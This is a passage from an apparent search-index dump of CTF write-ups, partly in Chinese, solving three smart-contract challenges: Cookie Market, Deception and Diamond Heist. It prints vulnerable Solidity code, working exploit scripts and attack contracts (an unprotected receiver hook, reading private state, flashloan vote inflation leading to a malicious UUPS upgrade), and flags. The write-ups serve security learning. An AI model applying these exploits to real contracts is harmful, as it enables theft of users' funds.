ownership of the cookie from the seller to the buyer canRedeemcookie [ _idx ] = msg . sender ; // remove the sellOrder from the sellOrders array sellOrders [ i ] = sellOrders [ sellOrders . length - 1 ]; sellOrders . pop (); break ; } } } } /** @dev Function to retrieve an cookie from the market. @param _idx The index of the cookie in the market. */ function redeemcookies ( uint256 _idx ) external { // check if sender can redeem the cookie require ( canRedeemcookie [ _idx ] == msg . sender , \"err: msg.sender != owner(cookie)\" ); // approve the cookie transfer. cookie . approve ( msg . sender , _idx ); // transfer the ownership of the cookie. cookie . transferFrom ( address ( this ), msg . sender , _idx ); // remove the cookie _idx from the canRedeemcookie mapping delete canRedeemcookie [ _idx ]; } /** @dev Function to effectively add a sellOrder for your cookie on the cookieMarket. @param _cookieIDX The index of the ERC721 cookie. @param _ethWanted The amount of ETH the seller wants to receive for the cookie. */ function addSellOrder ( uint256 _cookieIDX , uint256 _ethWanted ) external { // check whether the msg.sender can sell the _cookieIDX require ( canRedeemcookie [ _cookieIDX ] == msg . sender , \"err: msg.sender != owner(cookie[_cookieIDX])\" ); // create the new sellOrder sell_Order memory newOrder ; newOrder . cookie_idx_offered = _cookieIDX ; newOrder . amount_eth_wanted = _ethWanted ; newOrder . cookie_provider = msg . sender ; sellOrders . push ( newOrder ); } /** @dev Function to effectively remove a sellOrder from the cookieMarket. @param _cookieIDX The index of the ERC721 cookie. */ function removeSellOrder ( uint256 _cookieIDX ) external { // iterate through all sellOrders for ( uint256 i = 0 ; i < sellOrders . length ; i ++ ) { // check if the sellOrder is for the _cookieIDX if ( sellOrders [ i ]. cookie_idx_offered == _cookieIDX ) { // check if the msg.sender is the owner of the cookie require ( sellOrders [ i ]. cookie_provider == msg . sender , \"err: msg.sender != cookie_provider\" ); // delete the sellOrder sellOrders [ i ] = sellOrders [ sellOrders . length - 1 ]; sellOrders . pop (); break ; } } } /** @dev Inherited from IERC721Receiver. */ function onERC721Received ( address , address _from , uint256 _tokenId , bytes calldata ) external override returns ( bytes4 ) { // we have received an cookie from its owner; mark that in the redeem mapping canRedeemcookie [ _tokenId ] = _from ; return this . onERC721Received . selector ; } }","title":"\u9898\u76ee"},{"location":"blockchain/cookie_market/#hint","text":"Retrieve the OG cookie to get the flag!","title":"Hint"},{"location":"blockchain/cookie_market/#_2","text":"\u9700\u8981\u83b7\u5f97\u7f16\u53f7 0 \u7684 cookie\uff0c\u521d\u59cb\u7531 deployer \u83b7\u5f97\u5e76\u8f6c\u7ed9\u5408\u7ea6 CookieMarket \u6839\u636e canRedeemcookie \u7684\u8bb0\u5f55\uff0c\u53ef\u4ee5\u901a\u8fc7\u51fd\u6570 redeemcookies \u8d4e\u56de\u6307\u5b9a\u7f16\u53f7\u7684 cookie\uff0c\u76f4\u63a5\u8c03\u7528 onERC721Received \u66f4\u65b0\u7f16\u53f7\u4e3a 0 \u7684 cookie \u6240\u6709\u8005\u518d\u8d4e\u56de\u5373\u53ef \u56e0\u4e3a onERC721Received \u662f hook \u51fd\u6570\uff0c\u8d77\u521d\u5e76\u6ca1\u6709\u610f\u8bc6\u5230\u53ef\u4ee5\u88ab\u76f4\u63a5\u8c03\u7528 XD","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/cookie_market/#exploit","text":"from web3 import Web3 from pwn import * def transact ( func , gas = 1000000 ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) conn = remote ( 'challs.htsp.ro' , 9002 ) conn . sendlineafter ( 'action?' , '1' ) uuid = conn . recvline_contains ( 'uuid' ) . decode () . split ( ' ' )[ - 1 ] . strip () w3 = Web3 ( Web3 . HTTPProvider ( conn . recvline_contains ( 'rpc' ) . decode () . split ( ' ' )[ - 1 ])) account = w3 . eth . account . from_key ( conn . recvline_contains ( 'key' ) . decode () . split ( ' ' )[ - 1 ]) deployer_addr = conn . recvline_contains ( 'contract' ) . decode () . split ( ' ' )[ - 1 ] . strip () cookie_addr = w3 . toChecksumAddress ( w3 . eth . get_storage_at ( deployer_addr , 0 ) . hex ()[ - 40 :]) cookie_abi = open ( 'cookie_abi.json' ) . read () cookie_contract = w3 . eth . contract ( address = cookie_addr , abi = cookie_abi ) market_addr = w3 . toChecksumAddress ( w3 . eth . get_storage_at ( deployer_addr , 1 ) . hex ()[ - 40 :]) market_abi = open ( 'market_abi.json' ) . read () market_contract = w3 . eth . contract ( address = market_addr , abi = market_abi ) transact ( 'market_contract.functions.onERC721Received(account.address, account.address, 0, \"\")' ) transact ( 'market_contract.functions.redeemcookies(0)' ) conn = remote ( 'challs.htsp.ro' , 9002 ) conn . sendlineafter ( 'action?' , '3' ) conn . sendlineafter ( 'uuid please:' , uuid ) conn . sendlineafter ( 'contract address please:' , deployer_addr ) conn . interactive ()","title":"Exploit"},{"location":"blockchain/cookie_market/#flag","text":"X-MAS{rotten_cookies_spoil_the_market}","title":"Flag"},{"location":"blockchain/deception/","tags":["smart contract","fake source code"],"text":"#smart contract #fake source code .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 Tate doesn't want you to know the truth. Find the secret. nc deception.chal.crewc.tf 60002 Setup.sol pragma solidity ^ 0.8.13 ; import \"./Deception.sol\" ; contract Setup { deception public immutable TARGET ; constructor () payable { TARGET = new deception (); } function isSolved () public view returns ( bool ) { return TARGET . solved (); } } Deception.sol // Contract that has to be displayed for challenge // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.10 ; contract deception { address private owner ; bool public solved ; constructor () { owner = msg . sender ; solved = false ; } modifier onlyOwner () { require ( msg . sender == owner , \"Only owner can access\" ); _ ; } function changeOwner ( address newOwner ) onlyOwner public { owner = newOwner ; } function password () onlyOwner public view returns ( string memory ){ return \"secret\" ; } function solve ( string memory secret ) public { require ( keccak256 ( abi . encodePacked ( secret )) == 0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b , \"invalid\" ); solved = true ; } } Solution \u00b6 From the source code, if we are able to provide a secret whose keccak256 hash is equal to 0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b , then the challenge can be solved. And, the keccak256 hash of \"secret\" is exactly what we want XD However, when I called the solve() function with the argument \"secret\", the transaction kept reverting :( I suddenly realized that the secret provided in the source code is not the actual value. So, I got the bytecode and attempted to extract the password from it It's not easy to get the secret even with decompiled bytecode function password () public payable { require ( msg . sender == _changeOwner , Error ( 'Only owner can access' )); v0 = _SafeExp ( stor_1 , stor_4 ); require ( stor_2 , Panic ( 18 )); // division by zero if ( 76 - v0 % stor_2 ) { MEM [ MEM [ 64 ] + 32 ] = v0 % stor_2 ; v1 = v2 = MEM [ 64 ] + 64 ; } else { require (( stor_3 == stor_3 * ( v0 % stor_2 ) / ( v0 % stor_2 )) | ! ( v0 % stor_2 ), Panic ( 17 )); // arithmetic overflow or underflow require ( v0 % stor_2 , Panic ( 18 )); // division by zero MEM [ 32 + MEM [ 64 ]] = stor_3 * ( v0 % stor_2 ) / ( v0 % stor_2 ); v3 = 0x18e ( 64 + MEM [ 64 ], 32 , 30 ); v4 = _SafeAdd ( 0x616263 , stor_3 ); v5 = _SafeSub ( v4 , stor_3 ); MEM [ 32 + MEM [ 64 ]] = v5 ; v6 = 0x18e ( 64 + MEM [ 64 ], 32 , 30 ); v7 = v8 = 0 ; while ( v7 < v3 . length ) { MEM [ v7 + ( 32 + MEM [ 64 ])] = v3 [ v7 ]; v7 += 32 ; } MEM [ v3 . length + ( 32 + MEM [ 64 ])] = 0 ; v9 = v10 = 0 ; while ( v9 < v6 . length ) { MEM [ v9 + ( 32 + MEM [ 64 ] + v3 . length )] = v6 [ v9 ]; v9 += 32 ; } MEM [ v6 . length + ( 32 + MEM [ 64 ] + v3 . length )] = 0 ; v1 = v11 = v6 . length + ( 32 + MEM [ 64 ] + v3 . length ); } v12 = new array []( v1 - MEM [ 64 ] - 32 ); v13 = v14 = 0 ; while ( v13 < v1 - MEM [ 64 ] - 32 ) { MEM [ v13 + v12 . data ] = MEM [ v13 + ( MEM [ 64 ] + 32 )]; v13 += 32 ; } MEM [ v1 - MEM [ 64 ] - 32 + v12 . data ] = 0 ; return v12 ; } Why not just fork the chain and impersonate the owner to call the password() function? contract DeceptionTest is Test { Setup setup ; deception target ; function setUp () public { vm . createSelectFork ( vm . envString ( \"RPC_URL\" )); setup = Setup ( vm . envAddress ( \"INSTANCE_ADDR\" )); target = setup . TARGET (); } function testSolve () public { // address private owner; bytes32 slotValue = vm . load ( address ( target ), 0 ); vm . prank ( address ( uint160 ( uint256 ( slotValue )))); console . log ( \"%s\" , target . password ()); } } Call the solve() function to complete the challenge after getting the actual secret :D Flag \u00b6 crew{d0nt_tru5t_wh4t_y0u_s3e_4s5_50urc3!}","title":"deception"},{"location":"blockchain/deception/#description","text":"Tate doesn't want you to know the truth. Find the secret. nc deception.chal.crewc.tf 60002 Setup.sol pragma solidity ^ 0.8.13 ; import \"./Deception.sol\" ; contract Setup { deception public immutable TARGET ; constructor () payable { TARGET = new deception (); } function isSolved () public view returns ( bool ) { return TARGET . solved (); } } Deception.sol // Contract that has to be displayed for challenge // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.10 ; contract deception { address private owner ; bool public solved ; constructor () { owner = msg . sender ; solved = false ; } modifier onlyOwner () { require ( msg . sender == owner , \"Only owner can access\" ); _ ; } function changeOwner ( address newOwner ) onlyOwner public { owner = newOwner ; } function password () onlyOwner public view returns ( string memory ){ return \"secret\" ; } function solve ( string memory secret ) public { require ( keccak256 ( abi . encodePacked ( secret )) == 0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b , \"invalid\" ); solved = true ; } }","title":"Description"},{"location":"blockchain/deception/#solution","text":"From the source code, if we are able to provide a secret whose keccak256 hash is equal to 0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b , then the challenge can be solved. And, the keccak256 hash of \"secret\" is exactly what we want XD However, when I called the solve() function with the argument \"secret\", the transaction kept reverting :( I suddenly realized that the secret provided in the source code is not the actual value. So, I got the bytecode and attempted to extract the password from it It's not easy to get the secret even with decompiled bytecode function password () public payable { require ( msg . sender == _changeOwner , Error ( 'Only owner can access' )); v0 = _SafeExp ( stor_1 , stor_4 ); require ( stor_2 , Panic ( 18 )); // division by zero if ( 76 - v0 % stor_2 ) { MEM [ MEM [ 64 ] + 32 ] = v0 % stor_2 ; v1 = v2 = MEM [ 64 ] + 64 ; } else { require (( stor_3 == stor_3 * ( v0 % stor_2 ) / ( v0 % stor_2 )) | ! ( v0 % stor_2 ), Panic ( 17 )); // arithmetic overflow or underflow require ( v0 % stor_2 , Panic ( 18 )); // division by zero MEM [ 32 + MEM [ 64 ]] = stor_3 * ( v0 % stor_2 ) / ( v0 % stor_2 ); v3 = 0x18e ( 64 + MEM [ 64 ], 32 , 30 ); v4 = _SafeAdd ( 0x616263 , stor_3 ); v5 = _SafeSub ( v4 , stor_3 ); MEM [ 32 + MEM [ 64 ]] = v5 ; v6 = 0x18e ( 64 + MEM [ 64 ], 32 , 30 ); v7 = v8 = 0 ; while ( v7 < v3 . length ) { MEM [ v7 + ( 32 + MEM [ 64 ])] = v3 [ v7 ]; v7 += 32 ; } MEM [ v3 . length + ( 32 + MEM [ 64 ])] = 0 ; v9 = v10 = 0 ; while ( v9 < v6 . length ) { MEM [ v9 + ( 32 + MEM [ 64 ] + v3 . length )] = v6 [ v9 ]; v9 += 32 ; } MEM [ v6 . length + ( 32 + MEM [ 64 ] + v3 . length )] = 0 ; v1 = v11 = v6 . length + ( 32 + MEM [ 64 ] + v3 . length ); } v12 = new array []( v1 - MEM [ 64 ] - 32 ); v13 = v14 = 0 ; while ( v13 < v1 - MEM [ 64 ] - 32 ) { MEM [ v13 + v12 . data ] = MEM [ v13 + ( MEM [ 64 ] + 32 )]; v13 += 32 ; } MEM [ v1 - MEM [ 64 ] - 32 + v12 . data ] = 0 ; return v12 ; } Why not just fork the chain and impersonate the owner to call the password() function? contract DeceptionTest is Test { Setup setup ; deception target ; function setUp () public { vm . createSelectFork ( vm . envString ( \"RPC_URL\" )); setup = Setup ( vm . envAddress ( \"INSTANCE_ADDR\" )); target = setup . TARGET (); } function testSolve () public { // address private owner; bytes32 slotValue = vm . load ( address ( target ), 0 ); vm . prank ( address ( uint160 ( uint256 ( slotValue )))); console . log ( \"%s\" , target . password ()); } } Call the solve() function to complete the challenge after getting the actual secret :D","title":"Solution"},{"location":"blockchain/deception/#flag","text":"crew{d0nt_tru5t_wh4t_y0u_s3e_4s5_50urc3!}","title":"Flag"},{"location":"blockchain/diamond_heist/","tags":["smart contract","solidity","flashloan","UUPS"],"text":"#smart contract #solidity #flashloan #UUPS .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Salty Pretzel Swap DAO has recently come out with their new flashloan vaults. They have deposited all of their 100 Diamonds in one of their vaults. Your mission, should you choose to accept it, is to break the vault and steal all of the diamonds. This would be one of the greatest heists of all time. This text will self-destruct in ten seconds. Good luck. nc 34.141.16.87 30200 diamond_heist_contracts.zip \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u5c06 100 Diamonds \u8f6c\u79fb\u5230 Setup \u5b9e\u4f8b // contract Setup function isSolved () external view returns ( bool ) { return diamond . balanceOf ( address ( this )) == DIAMONDS ; } Setup \u90e8\u7f72\u540e\uff0c Vault \u7684\u4ee3\u7406\u5408\u7ea6\u6301\u6709 100 Diamonds\uff0c\u663e\u7136\u9700\u8981\u901a\u8fc7\u66f4\u65b0\u5408\u7ea6\u6765\u8fdb\u884c Diamond \u7684\u8f6c\u79fb\u64cd\u4f5c\u3002\u4e0d\u8fc7\uff0c Vault \u91c7\u7528 UUPS \u4ee3\u7406\u6a21\u5f0f\uff0c\u867d\u7136\u6ca1\u6709\u521d\u59cb\u5316\u5176\u903b\u8f91\u5408\u7ea6\uff0c\u4f46\u7531\u4e8e\u5b58\u5728 onlyProxy \u4fee\u9970\u7b26\uff0c\u65e0\u6cd5\u901a\u8fc7\u903b\u8f91\u5408\u7ea6\u5347\u7ea7 // contract Setup constructor () { vaultFactory = new VaultFactory (); vault = vaultFactory . createVault ( keccak256 ( \"The tea in Nepal is very hot.\" )); diamond = new Diamond ( DIAMONDS ); // uint constant public DIAMONDS = 100; saltyPretzel = new SaltyPretzel (); vault . initialize ( address ( diamond ), address ( saltyPretzel )); diamond . transfer ( address ( vault ), DIAMONDS ); } \u5f53 Vault \u4ee3\u7406\u5408\u7ea6\u7684\u8c03\u7528\u8005\u4e3a owner \u6216\u4ee3\u7406\u5408\u7ea6\u81ea\u8eab\u4e14\u4ee3\u7406\u5408\u7ea6\u6301\u6709 Diamond \u7684\u6570\u91cf\u4e3a \\(0\\) \u65f6\uff0c\u5141\u8bb8\u66f4\u65b0\u5408\u7ea6\u903b\u8f91 // contract Vault function _authorizeUpgrade ( address ) internal override view { require ( msg . sender == owner () || msg . sender == address ( this )); require ( IERC20 ( diamond ). balanceOf ( address ( this )) == 0 ); } Vault \u4ee3\u7406\u5408\u7ea6\u7684\u6240\u6709\u8005\u4e3a Setup \uff0c\u800c Setup \u4e2d\u6ca1\u6709 transferOwnership \u76f8\u5173\u7684\u903b\u8f91\uff0c\u65e0\u6cd5\u4ee5 owner \u8eab\u4efd\u66f4\u65b0\u3002\u6ce8\u610f\u5230\u5f53\u8c03\u7528\u8005\u7684\u7968\u6570\u4e0d\u5c0f\u4e8e AUTHORITY_THRESHOLD \u65f6\uff0c\u53ef\u4ee5\u4ee5 Vault \u4ee3\u7406\u5408\u7ea6\u7684\u8eab\u4efd\u8c03\u7528 Vault \u4e2d\u7684\u4efb\u610f\u51fd\u6570 // contract Vault uint constant public AUTHORITY_THRESHOLD = 10 _000 ether ; function governanceCall ( bytes calldata data ) external { require ( msg . sender == owner () || saltyPretzel . getCurrentVotes ( msg . sender ) >= AUTHORITY_THRESHOLD ); ( bool success ,) = address ( this ). call ( data ); require ( success ); } \u81f3\u4e8e\u4f7f IERC20(diamond).balanceOf(address(this)) == 0 \u53ef\u4ee5\u901a\u8fc7 flashloan \u89e3\u51b3 // contract Vault function flashloan ( address token , uint amount , address receiver ) external { uint balanceBefore = IERC20 ( token ). balanceOf ( address ( this )); // \u53ea\u80fd\u501f\u7528\u4ee3\u7406\u5408\u7ea6\u6301\u6709\u7684 token IERC20 ( token ). transfer ( receiver , amount ); IERC3156FlashBorrower ( receiver ). onFlashLoan ( msg . sender , token , amount , 0 , \"\" ); uint balanceAfter = IERC20 ( token ). balanceOf ( address ( this )); require ( balanceBefore == balanceAfter ); } \u90a3\u4e48\uff0c\u63a5\u4e0b\u6765\u8003\u8651\u5982\u4f55\u83b7\u53d6\u8db3\u591f\u7684\u7968\u6570\u3002\u521d\u59cb\u53ef\u901a\u8fc7 Setup.claim() \u83b7\u5f97 SALTY_PRETZELS(100 ether) \uff0c mint \u5c06\u9996\u5148\u589e\u52a0 _to \u6301\u6709\u7684\u4ee3\u5e01\u6570\u91cf\uff0c\u968f\u540e\u589e\u52a0 _delegates[_to] \u7684\u7968\u6570\u3002\u7531\u4e8e srcRep \u4e3a address(0) \uff0c\u4e0d\u5bf9\u5176\u6267\u884c\u51cf\u5c11\u7968\u6570\u7684\u64cd\u4f5c\uff0c\u56e0\u800c\u603b\u7968\u6570\u662f\u589e\u52a0\u7684 // contract SaltyPretzel function mint ( address _to , uint256 _amount ) public onlyOwner { _mint ( _to , _amount ); _moveDelegates ( address ( 0 ), _delegates [ _to ], _amount ); } function _moveDelegates ( address srcRep , address dstRep , uint256 amount ) internal { if ( srcRep != dstRep && amount > 0 ) { if ( srcRep != address ( 0 )) { uint32 srcRepNum = numCheckpoints [ srcRep ]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints [ srcRep ][ srcRepNum - 1 ]. votes : 0 ; uint256 srcRepNew = srcRepOld - amount ; _writeCheckpoint ( srcRep , srcRepNum , srcRepOld , srcRepNew ); } if ( dstRep != address ( 0 )) { uint32 dstRepNum = numCheckpoints [ dstRep ]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints [ dstRep ][ dstRepNum - 1 ]. votes : 0 ; uint256 dstRepNew = dstRepOld + amount ; _writeCheckpoint ( dstRep , dstRepNum , dstRepOld , dstRepNew ); } } } \u4ee3\u5e01 SP \u7684\u6570\u91cf\u81ea Setup.claim() \u540e\u4e0d\u518d\u53d8\u5316\uff0c _moveDelegates \u4ece address(0) \u5230\u4efb\u610f\u4e0d\u4e3a 0 \u7684\u5730\u5740\u4f3c\u4e4e\u662f\u589e\u52a0\u603b\u7968\u6570\u7684\u552f\u4e00\u65b9\u6cd5\u3002\u5f53 delegator \u521d\u6b21\u58f0\u660e delegatee \u65f6\uff0c currentDelegate \u4e3a address(0) \uff0c\u5c06\u4e3a delegatee \u589e\u52a0 balanceOf(delegator) \u7968\u3002\u90a3\u4e48\uff0c\u53ef\u4ee5\u5c06\u6301\u6709\u7684\u4ee3\u5e01\u8f6c\u79fb\u7ed9\u65b0\u7684 delegator \u518d\u7531\u5176\u8c03\u7528 delegate() \u6765\u589e\u52a0 delegatee \u7684\u7968\u6570 // contract SaltyPretzel function delegate ( address delegatee ) external { return _delegate ( msg . sender , delegatee ); } function _delegate ( address delegator , address delegatee ) internal { address currentDelegate = _delegates [ delegator ]; uint256 delegatorBalance = balanceOf ( delegator ); _delegates [ delegator ] = delegatee ; emit DelegateChanged ( delegator , currentDelegate , delegatee ); _moveDelegates ( currentDelegate , delegatee , delegatorBalance ); } Exploit \u00b6 contract HackerVault is Vault { // new implementation should also be UUPS function exploit ( address token , address setup ) external { IERC20 ( token ). transfer ( address ( setup ), 100 ); } } contract Helper { function help ( address instance ) external { SaltyPretzel ( instance ). delegate ( msg . sender ); SaltyPretzel ( instance ). transfer ( msg . sender , 100 ether ); } } contract Hack is IERC3156FlashBorrower { Setup setup ; SaltyPretzel saltyPretzel ; Vault vault ; constructor ( address instance ) { setup = Setup ( instance ); saltyPretzel = SaltyPretzel ( setup . saltyPretzel ()); vault = Vault ( setup . vault ()); } function exploit () external { saltyPretzel . delegate ( address ( this )); setup . claim (); for ( uint i = 1 ; i < 100 ; i ++ ) { Helper helper = new Helper (); saltyPretzel . transfer ( address ( helper ), 100 ether ); helper . help ( address ( saltyPretzel )); } vault . flashloan ( address ( setup . diamond ()), 100 , address ( this )); } function onFlashLoan ( address , address token , uint256 amount , uint256 , bytes calldata ) external override returns ( bytes32 ) { HackerVault hackerVault = new HackerVault (); vault . governanceCall ( abi . encodeWithSignature ( \"upgradeTo(address)\" , address ( hackerVault ) )); IERC20 ( token ). transfer ( address ( vault ), amount ); return keccak256 ( \"ERC3156FlashBorrower.onFlashLoan\" ); } } from web3 import Web3 import pwn hack_abi = open ( 'hack_abi.json' ) . read () hack_bytecode = open ( 'hack_bytecode.txt' , 'r' ) . read () hackervault_abi = open ( 'hackervault_abi.json' ) . read () hackervault_bytecode = open ( 'hackervault_bytecode.txt' ) . read () setup_abi = open ( 'setup_abi.json' ) . read () def transact ( func ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : eval ( func ) . estimate_gas (), 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) conn = pwn . remote ( '34.141.16.87' , 30200 ) conn . sendlineafter ( b 'action?' , b '1' ) ticket = conn . recvline_contains ( b 'ticket' ) . decode () . split ( ' ' )[ - 1 ] . strip () w3 = Web3 ( Web3 . HTTPProvider ( conn . recvline_contains ( b 'rpc' ) . decode () . split ( ' ' )[ - 1 ])) account = w3 . eth . account . from_key ( conn . recvline_contains ( b 'key' ) . decode () . split ( ' ' )[ - 1 ]) setup_addr = conn . recvline_contains ( b 'contract' ) . decode () . split ( ' ' )[ - 1 ] . strip () setup_contract = w3 . eth . contract ( address = setup_addr , abi = setup_abi ) hack_contract = w3 . eth . contract ( abi = hack_abi , bytecode = hack_bytecode ) hack_addr = transact ( 'hack_contract.constructor(setup_addr)' ) . contractAddress hack_contract = w3 . eth . contract ( address = hack_addr , abi = hack_abi ) print ( hack_addr ) transact ( 'hack_contract.functions.exploit()' ) vault_addr = setup_contract . functions . vault () . call () diamond_addr = setup_contract . functions . diamond () . call () hackervault_contract = w3 . eth . contract ( address = vault_addr , abi = hackervault_abi ) transact ( 'hackervault_contract.functions.exploit(diamond_addr, setup_addr)' ) if setup_contract . functions . isSolved () . call (): conn = pwn . remote ( '34.141.16.87' , 30200 ) conn . sendlineafter ( b 'action?' , b '3' ) conn . sendlineafter ( b 'ticket please:' , ticket ) conn . interactive () Flag \u00b6 HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc} \u53c2\u8003\u8d44\u6599 \u00b6 UUPSUpgradeable","title":"Diamond Heist"},{"location":"blockchain/diamond_heist/#_1","text":"Salty Pretzel Swap DAO has recently come out with their new flashloan vaults. They have deposited all of their 100 Diamonds in one of their vaults. Your mission, should you choose to accept it, is to break the vault and steal all of the diamonds. This would be one of the greatest heists of all time. This text will self-destruct in ten seconds. Good luck. nc 34.141.16.87 30200 diamond_heist_contracts.zip","title":"\u9898\u76ee"},{"location":"blockchain/diamond_heist/#_2","text":"\u76ee\u6807\u662f\u5c06 100 Diamonds \u8f6c\u79fb\u5230 Setup \u5b9e\u4f8b // contract Setup function isSolved () external view returns ( bool ) { return diamond . balanceOf ( address ( this )) == DIAMONDS ; } Setup \u90e8\u7f72\u540e\uff0c Vault \u7684\u4ee3\u7406\u5408\u7ea6\u6301\u6709 100 Diamonds\uff0c\u663e\u7136\u9700\u8981\u901a\u8fc7\u66f4\u65b0\u5408\u7ea6\u6765\u8fdb\u884c Diamond \u7684\u8f6c\u79fb\u64cd\u4f5c\u3002\u4e0d\u8fc7\uff0c Vault \u91c7\u7528 UUPS \u4ee3\u7406\u6a21\u5f0f\uff0c\u867d\u7136\u6ca1\u6709\u521d\u59cb\u5316\u5176\u903b\u8f91\u5408\u7ea6\uff0c\u4f46\u7531\u4e8e\u5b58\u5728 onlyProxy \u4fee\u9970\u7b26\uff0c\u65e0\u6cd5\u901a\u8fc7\u903b\u8f91\u5408\u7ea6\u5347\u7ea7 // contract Setup constructor () { vaultFactory = new VaultFactory (); vault = vaultFactory . createVault ( keccak256 ( \"The tea in Nepal is very hot.\" )); diamond = new Diamond ( DIAMONDS ); // uint constant public DIAMONDS = 100; saltyPretzel = new SaltyPretzel (); vault . initialize ( address ( diamond ), address ( saltyPretzel )); diamond . transfer ( address ( vault ), DIAMONDS ); } \u5f53 Vault \u4ee3\u7406\u5408\u7ea6\u7684\u8c03\u7528\u8005\u4e3a owner \u6216\u4ee3\u7406\u5408\u7ea6\u81ea\u8eab\u4e14\u4ee3\u7406\u5408\u7ea6\u6301\u6709 Diamond \u7684\u6570\u91cf\u4e3a \\(0\\) \u65f6\uff0c\u5141\u8bb8\u66f4\u65b0\u5408\u7ea6\u903b\u8f91 // contract Vault function _authorizeUpgrade ( address ) internal override view { require ( msg . sender == owner () || msg . sender == address ( this )); require ( IERC20 ( diamond ). balanceOf ( address ( this )) == 0 ); } Vault \u4ee3\u7406\u5408\u7ea6\u7684\u6240\u6709\u8005\u4e3a Setup \uff0c\u800c Setup \u4e2d\u6ca1\u6709 transferOwnership \u76f8\u5173\u7684\u903b\u8f91\uff0c\u65e0\u6cd5\u4ee5 owner \u8eab\u4efd\u66f4\u65b0\u3002\u6ce8\u610f\u5230\u5f53\u8c03\u7528\u8005\u7684\u7968\u6570\u4e0d\u5c0f\u4e8e AUTHORITY_THRESHOLD \u65f6\uff0c\u53ef\u4ee5\u4ee5 Vault \u4ee3\u7406\u5408\u7ea6\u7684\u8eab\u4efd\u8c03\u7528 Vault \u4e2d\u7684\u4efb\u610f\u51fd\u6570 // contract Vault uint constant public AUTHORITY_THRESHOLD = 10 _000 ether ; function governanceCall ( bytes calldata data ) external { require ( msg . sender == owner () || saltyPretzel . getCurrentVotes ( msg . sender ) >= AUTHORITY_THRESHOLD ); ( bool success ,) = address ( this ). call ( data ); require ( success ); } \u81f3\u4e8e\u4f7f IERC20(diamond).balanceOf(address(this)) == 0 \u53ef\u4ee5\u901a\u8fc7 flashloan \u89e3\u51b3 // contract Vault function flashloan ( address token , uint amount , address receiver ) external { uint balanceBefore = IERC20 ( token ). balanceOf ( address ( this )); // \u53ea\u80fd\u501f\u7528\u4ee3\u7406\u5408\u7ea6\u6301\u6709\u7684 token IERC20 ( token ). transfer ( receiver , amount ); IERC3156FlashBorrower ( receiver ). onFlashLoan ( msg . sender , token , amount , 0 , \"\" ); uint balanceAfter = IERC20 ( token ). balanceOf ( address ( this )); require ( balanceBefore == balanceAfter ); } \u90a3\u4e48\uff0c\u63a5\u4e0b\u6765\u8003\u8651\u5982\u4f55\u83b7\u53d6\u8db3\u591f\u7684\u7968\u6570\u3002\u521d\u59cb\u53ef\u901a\u8fc7 Setup.claim() \u83b7\u5f97 SALTY_PRETZELS(100 ether) \uff0c mint \u5c06\u9996\u5148\u589e\u52a0 _to \u6301\u6709\u7684\u4ee3\u5e01\u6570\u91cf\uff0c\u968f\u540e\u589e\u52a0 _delegates[_to] \u7684\u7968\u6570\u3002\u7531\u4e8e srcRep \u4e3a address(0) \uff0c\u4e0d\u5bf9\u5176\u6267\u884c\u51cf\u5c11\u7968\u6570\u7684\u64cd\u4f5c\uff0c\u56e0\u800c\u603b\u7968\u6570\u662f\u589e\u52a0\u7684 // contract SaltyPretzel function mint ( address _to , uint256 _amount ) public onlyOwner { _mint ( _to , _amount ); _moveDelegates ( address ( 0 ), _delegates [ _to ], _amount ); } function _moveDelegates ( address srcRep , address dstRep , uint256 amount ) internal { if ( srcRep != dstRep && amount > 0 ) { if ( srcRep != address ( 0 )) { uint32 srcRepNum = numCheckpoints [ srcRep ]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints [ srcRep ][ srcRepNum - 1 ]. votes : 0 ; uint256 srcRepNew = srcRepOld - amount ; _writeCheckpoint ( srcRep , srcRepNum , srcRepOld , srcRepNew ); } if ( dstRep != address ( 0 )) { uint32 dstRepNum = numCheckpoints [ dstRep ]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints [ dstRep ][ dstRepNum - 1 ]. votes : 0 ; uint256 dstRepNew = dstRepOld + amount ; _writeCheckpoint ( dstRep , dstRepNum , dstRepOld , dstRepNew ); } } } \u4ee3\u5e01 SP \u7684\u6570\u91cf\u81ea Setup.claim() \u540e\u4e0d\u518d\u53d8\u5316\uff0c _moveDelegates \u4ece address(0) \u5230\u4efb\u610f\u4e0d\u4e3a 0 \u7684\u5730\u5740\u4f3c\u4e4e\u662f\u589e\u52a0\u603b\u7968\u6570\u7684\u552f\u4e00\u65b9\u6cd5\u3002\u5f53 delegator \u521d\u6b21\u58f0\u660e delegatee \u65f6\uff0c currentDelegate \u4e3a address(0) 